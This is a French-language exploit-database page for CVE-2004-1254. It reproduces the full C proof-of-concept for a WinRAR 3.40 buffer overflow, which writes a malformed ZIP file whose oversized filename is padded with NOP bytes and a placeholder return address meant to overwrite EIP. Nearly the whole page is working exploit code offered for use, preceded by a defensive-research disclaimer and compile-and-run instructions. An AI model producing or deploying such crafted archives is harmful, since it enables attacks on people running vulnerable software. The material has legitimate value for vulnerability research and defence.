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Exploit matérialisé

CVE-2004-1254

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB local windows Vérifié
Source

WinRAR 3.4.1 - Corrupt '.ZIP' File

Par Vafa Khoshaein

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

gcc 694.c -o exploit && ./exploit

Code c

/*
WinRAR 3.40 Buffer Overflow POC
Thanks to Miguel Tarasco Acuna. He has made a wonderful code for
Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
which I edited and made this code by.


Coded by Vafa Khoshaein - vkhoshain@hotmail.com
Vulnerability discovery date : December 10, 2004


Run this code and creat vulnerable_zip.zip then open the file in WinRAR 3.40
there exists a file, Try to delete the file - SECU


*/
#include <stdio.h>
#include <windows.h>


#pragma pack(1)



#define DATOS "vkhoshain@hotmail.com"


typedef struct {
DWORD Signature;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
}TOPHEADER;



typedef struct {
DWORD Signature;
WORD MadeVersion;
WORD VersionNeeded;
WORD GeneralPurposeFlag;
WORD CompressionMethod;
WORD ModFileTime;
WORD ModFileDate;
DWORD Crc32;
DWORD CompressedSize;
DWORD UncompressedSize;
WORD FilenameLength;
WORD ExtraFieldLength;
WORD FileCommentLength;
WORD DiskNumberStart;
WORD InternalFileAttributes;
DWORD ExternalFileAttributes;
DWORD RelativeOffsetOfLocalHeader;
}MIDDLEHEADER;


typedef struct {
DWORD Signature;
WORD NumOfThisDisk;
WORD NumDisckStartCentralDirectory;
WORD NumEntriesCentralDirOnThisDisk;
WORD TotalNumEntriesCentralDir;
DWORD SizeCentralDirectory;
DWORD OffsetCentraDirRespectStartDiskNum;
WORD ZipCommentLength;
}BOTTOMHEADER;


int main(int argc,char *argv[]) {


FILE *ZipFile;
TOPHEADER *Cabecera1;
MIDDLEHEADER *Cabecera2;
BOTTOMHEADER *Cabecera3;


DWORD c;
UINT i;
char *filename;
char *url;
printf("\nWinRAR 3.40 Buffer Overflow POC\n");
printf("\nCoded by Vafa Khoshaein (vkhoshain@hotmail.com)\n");



if (!(ZipFile=fopen("vulnerable_zip.zip","w+b"))) {
printf("\nError in creating vulnerable_zip.zip\n");
exit(1);
}


c=30800;
filename=(char*)malloc(sizeof(char)*c);
memset(filename,0,sizeof(filename));



for( i=0;i<30800;i++) filename[i]=0x90;


// Return Address
memcpy(&filename[479],"AAAA",4); /////////// Ret Addr EIP 0x41414141


Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
memset(Cabecera1,0,sizeof(TOPHEADER));
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
memset(Cabecera3,0,sizeof(BOTTOMHEADER));


Cabecera1->Signature=0x00000050; // DWORD
Cabecera1->VersionNeeded=0x000A; // WORD
Cabecera1->GeneralPurposeFlag=0x0002; // WORD
Cabecera1->CompressionMethod=0x0000; // WORD
Cabecera1->ModFileTime=0x1362; // WORD
Cabecera1->ModFileDate=0x3154; // WORD
Cabecera1->Crc32=0x85B36639; // DWORD
Cabecera1->CompressedSize=0x00000015; // DWORD
Cabecera1->UncompressedSize=0x00000015; // DWORD
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400
Cabecera1->ExtraFieldLength=0x0000; // WORD
Cabecera2->Signature=0x02014B50; // DWORD
Cabecera2->MadeVersion=0x0014; // WORD
Cabecera2->VersionNeeded=0x000A; // WORD
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
Cabecera2->CompressionMethod=0x0000; // WORD
Cabecera2->ModFileTime=0x1362; // WORD
Cabecera2->ModFileDate=0x3154; // WORD
Cabecera2->Crc32=0x85B36639; // DWORD
Cabecera2->CompressedSize=0x00000015; // DWORD
Cabecera2->UncompressedSize=0x00000015; // DWORD
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
Cabecera2->ExtraFieldLength=0x0000; // WORD
Cabecera2->FileCommentLength=0x0000; // WORD
Cabecera2->DiskNumberStart=0x0000; // WORD
Cabecera2->InternalFileAttributes=0x0001; // WORD
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
Cabecera3->Signature=0x06054B50; // DWORD
Cabecera3->NumOfThisDisk=0x0000; // WORD
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001;
Cabecera3->TotalNumEntriesCentralDir=0x0001;
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c;
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c;
Cabecera3->ZipCommentLength=0x0000;


fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);

fwrite(filename, c, 1,ZipFile);
fwrite(DATOS,strlen(DATOS),1,ZipFile);


fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
fwrite(filename, c, 1,ZipFile);
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);


fclose(ZipFile);
printf("\nvulnerable_zip.zip has been created\n\n");
return 1;
}

// milw0rm.com [2004-12-16]